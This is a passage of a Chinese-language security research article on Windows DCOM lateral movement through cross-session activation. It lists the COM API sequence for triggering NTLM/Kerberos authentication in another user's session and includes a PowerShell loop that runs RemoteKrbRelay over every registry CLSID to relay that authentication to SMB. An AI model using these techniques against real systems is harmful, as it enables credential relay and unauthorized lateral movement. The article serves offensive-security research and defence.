创建实例；你需要用自定义代码调用每个 CLSID/IID 及其函数。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">通常，IID 及其函数根本没有官方文档或不可见。然而，在右键点击 IID 时使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">View Proxy Definition</span></code><span leaf="">选项，在许多情况下至少会提供显示如何调用函数的骨架代码。</span></p></li></ol><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4195933456561922" data-s="300,640" data-type="png" data-w="541" type="block" data-imgfileid="100013121" src="https://wechat2rss.xlab.app/img-proxy/?k=f75793eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgmNWx83HhCPqVHCWbqCg1TUD8njNCtDScQeQ11kiaGJHK1v79lEsr8XE3JAkQCVPFuAb1nNGcT6BbMCK9RgNxXzNe39C6gendU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1" start="4"><li style="margin: 0px 0px 15px;"><p><span leaf="">然而，由于每个 IID 有不同的定义，将此方法自动化以模糊测试接口是复杂的。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">权限也很重要。在最好的情况下，你可能能够派生进程或通过输入参数控制派生什么。但是，如果你无法远程创建实例或调用函数，这就无法用于横向移动。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">黑盒/模糊测试方法是不够的。在某些时候，你需要开始逆向代码，了解底层发生了什么，并寻找代码执行向量。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，近年来已有多家公司发布了关于新兴 DCOM 横向移动技术的研究，例如以下内容：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf=""><a href="https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922" target="_blank">https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf=""><a href="https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects" target="_blank">https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects</a></span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf=""><a href="https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor" target="_blank">https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor</a></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些出版物及其背后的研究复杂度表明，DCOM 横向移动领域已经没有太多&#34;低垂的果实&#34;了，有必要更深入地挖掘暴露的函数，考虑它们的能力以及如何被滥用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">除了利用 COM 对象功能之外，另一种替代方法是在远程系统上植入 DLL，使其被承载 COM 对象的可执行文件加载，如这篇 MDSec 博文所述。后续在这里又发布了更多可执行文件/DLL 组合。在此寻找新的可执行文件/DLL 组合并非特别复杂的任务，如果这些组合此前未被公开，则可以实现更隐蔽的执行。然而，使用这些公开技术执行将在连接到远程系统的用户上下文中进行。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2. 跨会话激活攻击简介</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当你搜索 </span><em><span leaf="">Cross Session Activation</span></em><span leaf="">时，你会找到关于 </span><em><span leaf="">使用会话名字对象进行会话间激活（Session-to-Session Activation with a Session Moniker）</span></em><span leaf="">的官方 Microsoft 文档。但即使你被允许在另一个用户的会话中创建实例，攻击也仅限于 COM 类暴露的功能。所以这并不是我们要讨论的内容。相反，后续发布和描述的大多数工具使用以下 Windows API 组合来在另一个用户的上下文中启动 COM 实例：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CoCreateInstance</span></code><span leaf="">为目标类创建 COM 对象</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在获取的接口指针上调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">QueryInterface (ISpecialSystemProperties)</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在获取的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SpecialSystemProperties</span></code><span leaf="">上通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SetSessionId</span></code><span leaf="">设置 Session ID</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">（Microsoft 已不再记录此内容）</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1" start="4"><li style="margin: 0px;"><p><span leaf="">在接口指针上调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">StandardGetInstanceFromIStorage</span></code></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">（Microsoft 已不再记录此内容）</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此技术生效的前提条件如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">COM 类需要以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INTERACTIVE USER</span></code><span leaf="">身份运行</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">启动用户需要具备访问和启动权限</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后一步可以在另一个用户的上下文中触发向攻击者指定主机的 NTLM/Kerberos 认证，这可以通过破解 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NetNTLMv2</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NetNTLMv1</span></code><span leaf="">哈希或用于中继目的来加以滥用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">NTLM 反射用于本地提权最初由 James Forshaw 于 2014 年在此处发现。Antonio Cocomazzi 和 Andrea Pierini 创建了第一个概念验证（PoC）工具 Remotepotat0，并在 2021 年发布了博文 Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocll，解释了在多个用户登录同一系统场景下的滥用方式。James Forshaw 一天后在博文 Standard Activating Yourself to Greatness中描述了如何在 DCOM 上实现相同操作。如需更深入的解释，推荐阅读这些出版物。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3. 引入跨会话激活 DCOM 横向移动</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">到目前为止，跨会话激活攻击主要用于提权目的，相关的出版物和工具包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">RemotePotat0</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Chrome Updater EoP</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Explorer EoP</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">KrbRelay</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">CertifiedDCOM</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">ADCSCoercePotato</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Silverpotato</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">RemoteKrbRelay</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">早期的出版物都集中在认证后本地滥用交互式认证 COM 对象，而最后四篇出版物则引入了跨会话激活攻击的远程攻击面。我的同事 Nico Viakowski 的一篇很好的博文描述了这些出版物中哪些在今天仍然可利用：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html" target="_blank">https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我在这一研究领域的初始目标是识别一个可由低权限用户启动的新 CLSID，用于提权目的。我没有手动检查所有 COM 对象权限，而是采取了一种暴力方法，使用不同的 Windows 系统来测试是否可以通过以下简单的 PowerShell 脚本远程触发任何传入认证：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 从系统注册表中获取所有 CLSID</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsidPath</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Registry::HKEY_CLASSES_ROOT\CLSID&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsids</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Childitem</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Path </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsidPath</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Select-Object</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ExpandProperty PSChildName</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 遍历所有 CLSID</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsid</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsids</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 移除花括号</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">cleanClsid</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">clsid</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-replace</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[{}]&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">comand</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;RemoteKrbRelay.exe -victim srv01.domain -target srv02.domain -clsid </span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">cleanClsid</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> -session 1 -smb -console -v --smbkeyword interactive&#34;</span></span><span leaf=""><br/></span><span leaf="">    iex(</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">command</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RemoteKrbRelay 是此处的最佳工具选择，因为它可以触发来自远程系统会话的认证，并可以直接将认证中继到例如 SMB。但结果表明，从低权限用户的角度来看，没有任何一个 CLSID 可以被滥用来触发认证。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我在想——拥有管理员权限和跨会话激活能力的攻击者能做什么呢？在我们的项目中，我们经常针对具有活跃会话的特定系统进行横向移动或凭据窃取。假设我们有以下场景，且距离获取域管理员权限仅一步之遥：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6301482701812191" data-s="300,640" data-type="png" data-w="1214" type="block" data-imgfileid="100013123" src="https://wechat2rss.xlab.app/img-proxy/?k=75f8016c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgagnuia2he4T3z92BqU2KjmZRu4SWvwGaTTMbAo3ZLIaLRa2bp1zK6EF5CfGfI5lpS6kP20HQFKkxNFXibBeC6EsZ9rRu6kWv3Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在该系统上执行代码后，我们通常以 SYSTEM 身份或在我们自己的用户账户上下文中运行。这意味着我们通常需要转储凭据、模拟其他用户会话、注入其某个进程，或采取其他必要手段来接管目标账户。如果我们有一种横向移动技术，允许我们在已建立的交互式用户会话上下文中执行代码呢？更好的是，如果我们能通过一个较少为人知的 DCOM RPC 调用来实现这一点，而不是使用 WMI、WinRM 或类似技术呢？这些就是本次研究的下一个目标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">受工具 PermissionHunter 的启发（该工具有实用的过滤选项），首先使用它对潜在有趣的目标 CLSID 进行初步枚举。我们可以轻松地过滤超过 11,000 个 CLSID，以获取针对此特定用例的较小列表。我们筛选 RunAs 为 </span><em><span leaf="">Interactive User</span></em><span leaf="">、LaunchPrincipal 为 </span><em><span leaf="">Everyone 或 Administrator 或 Empty</span></em><span leaf="">、RemoteActivation 和 Launch 为 empty 的项，得到以下结果：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3835690968443961" data-s="300,640" data-type="png" data-w="1838" type="block" data-imgfileid="100013126" src="https://wechat2rss.xlab.app/img-proxy/?k=aa03e3be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjlKlDcaAWlaTWGg7hwfVx2gxgJkicalyN3taWib9dgUYYa5NiaQGJlnb8Hn1bcVVpUrYgXaGRV7nN9N9Q4qOppZtTHOcnXAzQHxc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果得到了 86 个唯一的 CLSID——这是我们可以着手处理的数据。为什么在过滤中加上 empty？如果 LaunchPrincipal 或其他设置未显式定义，COM 将遵循默认权限，其中管理员默认可以远程启动或调用对象。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: 